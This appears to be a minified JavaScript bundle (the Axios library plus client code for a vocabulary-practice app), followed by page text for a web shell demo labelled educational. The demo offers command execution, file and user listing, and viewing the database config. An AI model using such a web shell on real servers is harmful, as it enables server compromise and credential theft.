p&&p.getAllResponseHeaders()),O={data:!c||c==="text"||c==="json"?p.responseText:p.response,status:p.status,statusText:p.statusText,headers:T,config:t,request:p};te(function(H){r(H),b()},function(H){n(H),b()},O),p=null}"onloadend"in p?p.onloadend=E:p.onreadystatechange=function(){!p||p.readyState!==4||p.status===0&&!(p.responseURL&&p.responseURL.indexOf("file:")===0)||setTimeout(E)},p.onabort=function(){p&&(n(new h("Request aborted",h.ECONNABORTED,t,p)),p=null)},p.onerror=function(){n(new h("Network Error",h.ERR_NETWORK,t,p)),p=null},p.ontimeout=function(){let U=o.timeout?"timeout of "+o.timeout+"ms exceeded":"timeout exceeded",O=o.transitional||ye;o.timeoutErrorMessage&&(U=o.timeoutErrorMessage),n(new h(U,O.clarifyTimeoutError?h.ETIMEDOUT:h.ECONNABORTED,t,p)),p=null},s===void 0&&i.setContentType(null),"setRequestHeader"in p&&a.forEach(i.toJSON(),function(U,O){p.setRequestHeader(O,U)}),a.isUndefined(o.withCredentials)||(p.withCredentials=!!o.withCredentials),c&&c!=="json"&&(p.responseType=o.responseType),l&&([g,m]=z(l,!0),p.addEventListener("progress",g)),f&&p.upload&&([d,S]=z(f),p.upload.addEventListener("progress",d),p.upload.addEventListener("loadend",S)),(o.cancelToken||o.signal)&&(u=T=>{p&&(n(!T||T.type?new F(null,t,p):T),p.abort(),p=null)},o.cancelToken&&o.cancelToken.subscribe(u),o.signal&&(o.signal.aborted?u():o.signal.addEventListener("abort",u)));let R=$e(o.url);if(R&&y.protocols.indexOf(R)===-1){n(new h("Unsupported protocol "+R+":",h.ERR_BAD_REQUEST,t));return}p.send(s||null)})};var un=(t,e)=>{let{length:r}=t=t?t.filter(Boolean):[];if(e||r){let n=new AbortController,o,s=function(l){if(!o){o=!0,c();let u=l instanceof Error?l:this.reason;n.abort(u instanceof h?u:new F(u instanceof Error?u.message:u))}},i=e&&setTimeout(()=>{i=null,s(new h(`timeout ${e} of ms exceeded`,h.ETIMEDOUT))},e),c=()=>{t&&(i&&clearTimeout(i),i=null,t.forEach(l=>{l.unsubscribe?l.unsubscribe(s):l.removeEventListener("abort",s)}),t=null)};t.forEach(l=>l.addEventListener("abort",s));let{signal:f}=n;return f.unsubscribe=()=>a.asap(c),f}},Bt=un;var fn=function*(t,e){let r=t.byteLength;if(!e||r<e){yield t;return}let n=0,o;for(;n<r;)o=n+e,yield t.slice(n,o),n=o},dn=async function*(t,e){for await(let r of mn(t))yield*fn(r,e)},mn=async function*(t){if(t[Symbol.asyncIterator]){yield*t;return}let e=t.getReader();try{for(;;){let{done:r,value:n}=await e.read();if(r)break;yield n}}finally{await e.cancel()}},Ye=(t,e,r,n)=>{let o=dn(t,e),s=0,i,c=f=>{i||(i=!0,n&&n(f))};return new ReadableStream({async pull(f){try{let{done:l,value:u}=await o.next();if(l){c(),f.close();return}let d=u.byteLength;if(r){let g=s+=d;r(g)}f.enqueue(new Uint8Array(u))}catch(l){throw c(l),l}},cancel(f){return c(f),o.return()}},{highWaterMark:2})};var Re=typeof fetch=="function"&&typeof Request=="function"&&typeof Response=="function",jt=Re&&typeof ReadableStream=="function",pn=Re&&(typeof TextEncoder=="function"?(t=>e=>t.encode(e))(new TextEncoder):async t=>new Uint8Array(await new Response(t).arrayBuffer())),vt=(t,...e)=>{try{return!!t(...e)}catch{return!1}},hn=jt&&vt(()=>{let t=!1,e=new Request(y.origin,{body:new ReadableStream,method:"POST",get duplex(){return t=!0,"half"}}).headers.has("Content-Type");return t&&!e}),Ht=64*1024,et=jt&&vt(()=>a.isReadableStream(new Response("").body)),Se={stream:et&&(t=>t.body)};Re&&(t=>{["text","arrayBuffer","blob","formData","stream"].forEach(e=>{!Se[e]&&(Se[e]=a.isFunction(t[e])?r=>r[e]():(r,n)=>{throw new h(`Response type '${e}' is not supported`,h.ERR_NOT_SUPPORT,n)})})})(new Response);var bn=async t=>{if(t==null)return 0;if(a.isBlob(t))return t.size;if(a.isSpecCompliantForm(t))return(await new Request(y.origin,{method:"POST",body:t}).arrayBuffer()).byteLength;if(a.isArrayBufferView(t)||a.isArrayBuffer(t))return t.byteLength;if(a.isURLSearchParams(t)&&(t=t+""),a.isString(t))return(await pn(t)).byteLength},gn=async(t,e)=>{let r=a.toFiniteNumber(t.getContentLength());return r??bn(e)},Wt=Re&&(async t=>{let{url:e,method:r,data:n,signal:o,cancelToken:s,timeout:i,onDownloadProgress:c,onUploadProgress:f,responseType:l,headers:u,withCredentials:d="same-origin",fetchOptions:g}=xe(t);l=l?(l+"").toLowerCase():"text";let S=Bt([o,s&&s.toAbortSignal()],i),m,b=S&&S.unsubscribe&&(()=>{S.unsubscribe()}),p;try{if(f&&hn&&r!=="get"&&r!=="head"&&(p=await gn(u,n))!==0){let O=new Request(e,{method:"POST",body:n,duplex:"half"}),k;if(a.isFormData(n)&&(k=O.headers.get("content-type"))&&u.setContentType(k),O.body){let[H,ue]=Ke(p,z(Xe(f)));n=Ye(O.body,Ht,H,ue)}}a.isString(d)||(d=d?"include":"omit");let E="credentials"in Request.prototype;m=new Request(e,{...g,signal:S,method:r.toUpperCase(),headers:u.normalize().toJSON(),body:n,duplex:"half",credentials:E?d:void 0});let R=await fetch(m),T=et&&(l==="stream"||l==="response");if(et&&(c||T&&b)){let O={};["status","statusText","headers"].forEach(at=>{O[at]=R[at]});let k=a.toFiniteNumber(R.headers.get("content-length")),[H,ue]=c&&Ke(k,z(Xe(c),!0))||[];R=new Response(Ye(R.body,Ht,H,()=>{ue&&ue(),b&&b()}),O)}l=l||"text";let U=await Se[a.findKey(Se,l)||"text"](R,t);return!T&&b&&b(),await new Promise((O,k)=>{te(O,k,{data:U,headers:L.from(R.headers),status:R.status,statusText:R.statusText,config:t,request:m})})}catch(E){throw b&&b(),E&&E.name==="TypeError"&&/Load failed|fetch/i.test(E.message)?Object.assign(new h("Network Error",h.ERR_NETWORK,t,m),{cause:E.cause||E}):h.from(E,E&&E.code,t,m)}});var tt={http:be,xhr:Mt,fetch:Wt};a.forEach(tt,(t,e)=>{if(t){try{Object.defineProperty(t,"name",{value:e})}catch{}Object.defineProperty(t,"adapterName",{value:e})}});var qt=t=>`- ${t}`,yn=t=>a.isFunction(t)||t===null||t===!1,Le={getAdapter:t=>{t=a.isArray(t)?t:[t];let{length:e}=t,r,n,o={};for(let s=0;s<e;s++){r=t[s];let i;if(n=r,!yn(r)&&(n=tt[(i=String(r)).toLowerCase()],n===void 0))throw new h(`Unknown adapter '${i}'`);if(n)break;o[i||"#"+s]=n}if(!n){let s=Object.entries(o).map(([c,f])=>`adapter ${c} `+(f===!1?"is not supported by the environment":"is not available in the build")),i=e?s.length>1?`since :
`+s.map(qt).join(`
`):" "+qt(s[0]):"as no adapter specified";throw new h("There is no suitable adapter to dispatch the request "+i,"ERR_NOT_SUPPORT")}return n},adapters:tt};function rt(t){if(t.cancelToken&&t.cancelToken.throwIfRequested(),t.signal&&t.signal.aborted)throw new F(null,t)}function Te(t){return rt(t),t.headers=L.from(t.headers),t.data=Y.call(t,t.transformRequest),["post","put","patch"].indexOf(t.method)!==-1&&t.headers.setContentType("application/x-www-form-urlencoded",!1),Le.getAdapter(t.adapter||q.adapter)(t).then(function(n){return rt(t),n.data=Y.call(t,t.transformResponse,n),n.headers=L.from(n.headers),n},function(n){return ee(n)||(rt(t),n&&n.response&&(n.response.data=Y.call(t,t.transformResponse,n.response),n.response.headers=L.from(n.response.headers))),Promise.reject(n)})}var Ae="1.9.0";var Oe={};["object","boolean","number","function","string","symbol"].forEach((t,e)=>{Oe[t]=function(n){return typeof n===t||"a"+(e<1?"n ":" ")+t}});var Jt={};Oe.transitional=function(e,r,n){function o(s,i){return"[Axios v"+Ae+"] Transitional option '"+s+"'"+i+(n?". "+n:"")}return(s,i,c)=>{if(e===!1)throw new h(o(i," has been removed"+(r?" in "+r:"")),h.ERR_DEPRECATED);return r&&!Jt[i]&&(Jt[i]=!0,console.warn(o(i," has been deprecated since v"+r+" and will be removed in the near future"))),e?e(s,i,c):!0}};Oe.spelling=function(e){return(r,n)=>(console.warn(`${n} is likely a misspelling of ${e}`),!0)};function En(t,e,r){if(typeof t!="object")throw new h("options must be an object",h.ERR_BAD_OPTION_VALUE);let n=Object.keys(t),o=n.length;for(;o-- >0;){let s=n[o],i=e[s];if(i){let c=t[s],f=c===void 0||i(c,s,t);if(f!==!0)throw new h("option "+s+" must be "+f,h.ERR_BAD_OPTION_VALUE);continue}if(r!==!0)throw new h("Unknown option "+s,h.ERR_BAD_OPTION)}}var ne={assertOptions:En,validators:Oe};var N=ne.validators,V=class{constructor(e){this.defaults=e||{},this.interceptors={request:new ve,response:new ve}}async request(e,r){try{return await this._request(e,r)}catch(n){if(n instanceof Error){let o={};Error.captureStackTrace?Error.captureStackTrace(o):o=new Error;let s=o.stack?o.stack.replace(/^.+\n/,""):"";try{n.stack?s&&!String(n.stack).endsWith(s.replace(/^.+\n.+\n/,""))&&(n.stack+=`
`+s):n.stack=s}catch{}}throw n}}_request(e,r){typeof e=="string"?(r=r||{},r.url=e):r=e||{},r=D(this.defaults,r);let{transitional:n,paramsSerializer:o,headers:s}=r;n!==void 0&&ne.assertOptions(n,{silentJSONParsing:N.transitional(N.boolean),forcedJSONParsing:N.transitional(N.boolean),clarifyTimeoutError:N.transitional(N.boolean)},!1),o!=null&&(a.isFunction(o)?r.paramsSerializer={serialize:o}:ne.assertOptions(o,{encode:N.function,serialize:N.function},!0)),r.allowAbsoluteUrls!==void 0||(this.defaults.allowAbsoluteUrls!==void 0?r.allowAbsoluteUrls=this.defaults.allowAbsoluteUrls:r.allowAbsoluteUrls=!0),ne.assertOptions(r,{baseUrl:N.spelling("baseURL"),withXsrfToken:N.spelling("withXSRFToken")},!0),r.method=(r.method||this.defaults.method||"get").toLowerCase();let i=s&&a.merge(s.common,s[r.method]);s&&a.forEach(["delete","get","head","post","put","patch","common"],m=>{delete s[m]}),r.headers=L.concat(i,s);let c=[],f=!0;this.interceptors.request.forEach(function(b){typeof b.runWhen=="function"&&b.runWhen(r)===!1||(f=f&&b.synchronous,c.unshift(b.fulfilled,b.rejected))});let l=[];this.interceptors.response.forEach(function(b){l.push(b.fulfilled,b.rejected)});let u,d=0,g;if(!f){let m=[Te.bind(this),void 0];for(m.unshift.apply(m,c),m.push.apply(m,l),g=m.length,u=Promise.resolve(r);d<g;)u=u.then(m[d++],m[d++]);return u}g=c.length;let S=r;for(d=0;d<g;){let m=c[d++],b=c[d++];try{S=m(S)}catch(p){b.call(this,p);break}}try{u=Te.call(this,S)}catch(m){return Promise.reject(m)}for(d=0,g=l.length;d<g;)u=u.then(l[d++],l[d++]);return u}getUri(e){e=D(this.defaults,e);let r=re(e.baseURL,e.url,e.allowAbsoluteUrls);return Q(r,e.params,e.paramsSerializer)}};a.forEach(["delete","get","head","options"],function(e){V.prototype[e]=function(r,n){return this.request(D(n||{},{method:e,url:r,data:(n||{}).data}))}});a.forEach(["post","put","patch"],function(e){function r(n){return function(s,i,c){return this.request(D(c||{},{method:e,headers:n?{"Content-Type":"multipart/form-data"}:{},url:s,data:i}))}}V.prototype[e]=r(),V.prototype[e+"Form"]=r(!0)});var oe=V;var nt=class t{constructor(e){if(typeof e!="function")throw new TypeError("executor must be a function.");let r;this.promise=new Promise(function(s){r=s});let n=this;this.promise.then(o=>{if(!n._listeners)return;let s=n._listeners.length;for(;s-- >0;)n._listeners[s](o);n._listeners=null}),this.promise.then=o=>{let s,i=new Promise(c=>{n.subscribe(c),s=c}).then(o);return i.cancel=function(){n.unsubscribe(s)},i},e(function(s,i,c){n.reason||(n.reason=new F(s,i,c),r(n.reason))})}throwIfRequested(){if(this.reason)throw this.reason}subscribe(e){if(this.reason){e(this.reason);return}this._listeners?this._listeners.push(e):this._listeners=[e]}unsubscribe(e){if(!this._listeners)return;let r=this._listeners.indexOf(e);r!==-1&&this._listeners.splice(r,1)}toAbortSignal(){let e=new AbortController,r=n=>{e.abort(n)};return this.subscribe(r),e.signal.unsubscribe=()=>this.unsubscribe(r),e.signal}static source(){let e;return{token:new t(function(o){e=o}),cancel:e}}},zt=nt;function ot(t){return function(r){return t.apply(null,r)}}function st(t){return a.isObject(t)&&t.isAxiosError===!0}var it={Continue:100,SwitchingProtocols:101,Processing:102,EarlyHints:103,Ok:200,Created:201,Accepted:202,NonAuthoritativeInformation:203,NoContent:204,ResetContent:205,PartialContent:206,MultiStatus:207,AlreadyReported:208,ImUsed:226,MultipleChoices:300,MovedPermanently:301,Found:302,SeeOther:303,NotModified:304,UseProxy:305,Unused:306,TemporaryRedirect:307,PermanentRedirect:308,BadRequest:400,Unauthorized:401,PaymentRequired:402,Forbidden:403,NotFound:404,MethodNotAllowed:405,NotAcceptable:406,ProxyAuthenticationRequired:407,RequestTimeout:408,Conflict:409,Gone:410,LengthRequired:411,PreconditionFailed:412,PayloadTooLarge:413,UriTooLong:414,UnsupportedMediaType:415,RangeNotSatisfiable:416,ExpectationFailed:417,ImATeapot:418,MisdirectedRequest:421,UnprocessableEntity:422,Locked:423,FailedDependency:424,TooEarly:425,UpgradeRequired:426,PreconditionRequired:428,TooManyRequests:429,RequestHeaderFieldsTooLarge:431,UnavailableForLegalReasons:451,InternalServerError:500,NotImplemented:501,BadGateway:502,ServiceUnavailable:503,GatewayTimeout:504,HttpVersionNotSupported:505,VariantAlsoNegotiates:506,InsufficientStorage:507,LoopDetected:508,NotExtended:510,NetworkAuthenticationRequired:511};Object.entries(it).forEach(([t,e])=>{it[e]=t});var Vt=it;function Gt(t){let e=new oe(t),r=$(oe.prototype.request,e);return a.extend(r,oe.prototype,e,{allOwnKeys:!0}),a.extend(r,e,null,{allOwnKeys:!0}),r.create=function(o){return Gt(D(t,o))},r}var x=Gt(q);x.Axios=oe;x.CanceledError=F;x.CancelToken=zt;x.isCancel=ee;x.VERSION=Ae;x.toFormData=M;x.AxiosError=h;x.Cancel=x.CanceledError;x.all=function(e){return Promise.all(e)};x.spread=ot;x.isAxiosError=st;x.mergeConfig=D;x.AxiosHeaders=L;x.formToJSON=t=>Ee(a.isHTMLForm(t)?new FormData(t):t);x.getAdapter=Le.getAdapter;x.HttpStatusCode=Vt;x.default=x;var se=x;var{Axios:Bi,AxiosError:Hi,CanceledError:ji,isCancel:vi,CancelToken:Wi,VERSION:qi,all:Ji,Cancel:zi,isAxiosError:Vi,spread:Gi,toFormData:$i,AxiosHeaders:Ki,HttpStatusCode:Xi,formToJSON:Qi,getAdapter:Zi,mergeConfig:Yi}=se;var w=class{static async POST(e,r){let n=A.getSessionId()||"";return r=r||{},(await se.post(G.API_URL+e,r,{headers:{sessiontoken:n||"","Content-Type":"application/json",Accept:"application/json"}})).data}static async GET(e){let r=A.getSessionId()||"";return(await se.get(G.API_URL+e,{headers:{sessiontoken:r||"","Content-Type":"application/json",Accept:"application/json"}})).data}};var $t=async(t,e)=>{let r="/login/login",n={Email:t,Password:e};try{let o=await w.POST(r,n);if(o&&o.Token&&o.ExpirationDate){let s=new Date(o.ExpirationDate);A.login(o.Token,s)}else throw new Error("Login failed: No session ID returned")}catch(o){throw console.error("Login failed:",o),new Error("Login failed: "+o.message)}},Kt=async(t,e,r)=>{let n="/login/register";try{let o={Username:t,Email:e,Password:r},s=await w.POST(n,o);if(s&&s.Token&&s.ExpirationDate){let i=new Date(s.ExpirationDate);A.login(s.Token,i)}else throw new Error("Registration failed: No session ID returned")}catch(o){throw console.error("Registration failed:",o),new Error("Registration failed: "+o.message)}},Xt=async t=>{let e="/login/checksession";try{let r=await w.POST(e);if(!r||!r.message||r.message!=="ok")throw new Error("Invalid session ID");return r}catch(r){console.error("Session check failed:",r);return}};var B=class{static async GetLists(e,r,n,o){let c={page:e,length:r,filters:n||{},sort:o||{}};return await w.POST("/lists/getLists",c)}static async GetMyLists(e,r,n,o){let c={page:e,length:r,filters:n||{},sort:o||{}};return await w.POST("/lists/getMyLists",c)}static async GetSpecificList(e){let r={ListID:e};return await w.POST("/lists/getspecificlist",r)}static async UpdateList(e,r,n,o){let s={ListID:e,Name:r,IsPublic:n,Words:o.map(c=>({Word_EN:c.Word_EN,Word_NL:c.Word_NL,Word_ID:c.Word_ID,WordIndex:c.WordIndex}))};return await w.POST("/lists/updateList",s)}static async DeleteList(e){let r={ListID:e};return await w.POST("/lists/deletelist",r)}static async CreateList(e){let r={Name:e};return await w.POST("/lists/createlist",r)}};var ie=class{static async GetUserInfo(){let e=await w.POST("/account/getuserinfo");if(e===void 0){I.error("Failed to fetch user info");return}return e}};var Pe=class{constructor(e,r,n){this.Correct=e,this.Finished=r,this.WordIndex=n}};var Ie=class{constructor(e,r,n,o){this.Question=e,this.Answer=r,this.CorrectAnswer=n,this.Correct=o}},ae=class{constructor(e,r,n,o,s,i,c,f,l){this.ListID=e,this.Name=r,this.Description=n,this.WordCount=o,this.PracticeCount=s,this.CreatedAt=i,this.UpdatedAt=c,this.Owner=f,this.IsPublic=l}},Ce=class{constructor(e,r,n,o,s,i,c,f){this.Orientation=e,this.StartTime=r,this.Duration=n,this.Score=o,this.Words=s,this.CurrentWordIndex=i,this.IsFinished=c,this.ListInfo=f}};var De=class{constructor(e,r,n,o,s,i,c,f){this.ListID=e,this.Name=r,this.Description=n,this.WordCount=o,this.CreatedAt=s,this.UpdatedAt=i,this.Owner=c,this.IsPublic=f}},Fe=class{constructor(e,r,n,o,s){this.Word=e,this.WordIndex=r,this.Orientation=n,this.ListInfo=o,this.ExerciseStartedAt=s}};var Qt=async(t,e)=>{let r="/exercise/startexercise",n={listID:t,orientation:e};I.debug("Starting exercise with body: "+JSON.stringify(n));try{if(!await w.POST(r,n))throw new Error("Failed to start exercise: No session ID returned");return}catch(o){throw console.error("Failed to start exercise:",o),new Error("Failed to start exercise: "+o.message)}},Zt=async()=>{let t="/exercise/getword";try{let e=await w.POST(t);if(!e||!e.Word)throw new Error("Failed to get word: No word returned");let r=new De(e.ListInfo.ListID,e.ListInfo.Name,e.ListInfo.Description,e.ListInfo.WordCount,new Date(e.ListInfo.CreatedAt),new Date(e.ListInfo.UpdatedAt),e.ListInfo.Owner,e.ListInfo.IsPublic);return new Fe(e.Word,e.WordIndex,e.Orientation,r,new Date(e.ExerciseStartTime))}catch(e){throw console.error("Failed to get word:",e),new Error("Failed to get word: "+e.message)}},Yt=async()=>{let t="/exercise/getresult";try{let e=await w.POST(t);if(!e||!e)throw new Error("Failed to get exercise result: No result returned");let r=[];e&&e.Words&&(r=e.Words.map(s=>new Ie(s.Question,s.Answer,s.CorrectAnswer,s.Correct)));let n;return e&&e.ListInfo?n=new ae(e.ListInfo.ListID,e.ListInfo.Name,e.ListInfo.Description,e.ListInfo.WordCount,e.ListInfo.PracticeCount,new Date(e.ListInfo.CreatedAt),new Date(e.ListInfo.UpdatedAt),e.ListInfo.Owner,e.ListInfo.IsPublic):n=new ae(0,"","",0,0,new Date,new Date,"",!1),new Ce(e.Orientation,new Date(e.StartTime),e.Duration,e.Score,r,e.CurrentWordIndex,e.IsFinished,n)}catch(e){throw console.error("Failed to get exercise result:",e),new Error("Failed to get exercise result: "+e.message)}},er=async t=>{let e="/exercise/checkanswer",r={answer:t};try{let n=await w.POST(e,r);if(!n)throw new Error("Failed to check answer: No result returned");return new Pe(n.Correct,n.Finished,n.WordIndex)}catch(n){throw console.error("Failed to check answer:",n),new Error("Failed to check answer: "+n.message)}};var Ne={Login:{Login:$t,Register:Kt,CheckSession:Xt},GetLists:{GetLists:B.GetLists,GetSpecificList:B.GetSpecificList,UpdateList:B.UpdateList,DeleteList:B.DeleteList},Exercise:{StartExercise:Qt,GetWord:Zt,getResult:Yt,CheckAnswer:er},Account:{GetUserInfo:ie.GetUserInfo}};var wn=Ne.Account,ce=class{constructor(){this.userNameFieldElement=document.getElementById("userNameField");this.userEmailFieldElement=document.getElementById("userEmailField");this.userActiveSinceFieldElement=document.getElementById("userActiveSinceField");this.userPlayTimeFieldElement=document.getElementById("userPlayTimeField");this.userPlaysFieldElement=document.getElementById("userPlaysField");this.userName="";this.userEmail="";this.ActiveSince=new Date;this.userPlayTime=0;this.userPlays=0}async Init(e){this.addEventListeners(),!(e===void 0||await e!==!0)&&this.render()}async getData(){let e=await wn.GetUserInfo();if(e===void 0){console.error("Failed to fetch user info");return}this.userName=e.Name,this.userEmail=e.Email,this.userPlayTime=e.TotalTime,this.userPlays=e.Plays,this.ActiveSince=new Date(e.CreatedAt),this.userNameFieldElement.innerText=this.userName,I.debug("User info: "+JSON.stringify(e))}async renderUserInfo(){this.userNameFieldElement.innerText=this.userName,this.userEmailFieldElement.innerText=this.userEmail;let e=new Intl.DateTimeFormat("en-GB",{day:"2-digit",month:"2-digit",year:"numeric"}).format(this.ActiveSince);this.userActiveSinceFieldElement.innerText=e;let r=Math.round(this.userPlayTime/3600),n=Math.round(this.userPlayTime%3600/60),o=Math.round(this.userPlayTime%60);this.userPlayTimeFieldElement.innerText=`${r}h ${n}m ${o}s`,this.userPlaysFieldElement.innerText=this.userPlays.toString()+" plays"}async render(){this.getData().then(()=>this.renderUserInfo())}addEventListeners(){}};var le=class t{static async isLoggedIn(){if(!A.isLoggedIn())return!1;let e=A.getSessionId()||"",r=await Ne.Login.CheckSession(e);return r?(A.UserID=r.UserID,!0):!1}static async checkSession(){return await t.isLoggedIn()||_("./login.html"),!0}};var xn=new lt,Sn=new ce;async function Rn(){let t=le.checkSession();xn.Init(t),Sn.Init(t),!(t===void 0||await t!==!0)&&I.debug("User is logged in, loading personal content...")}Rn();})();

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!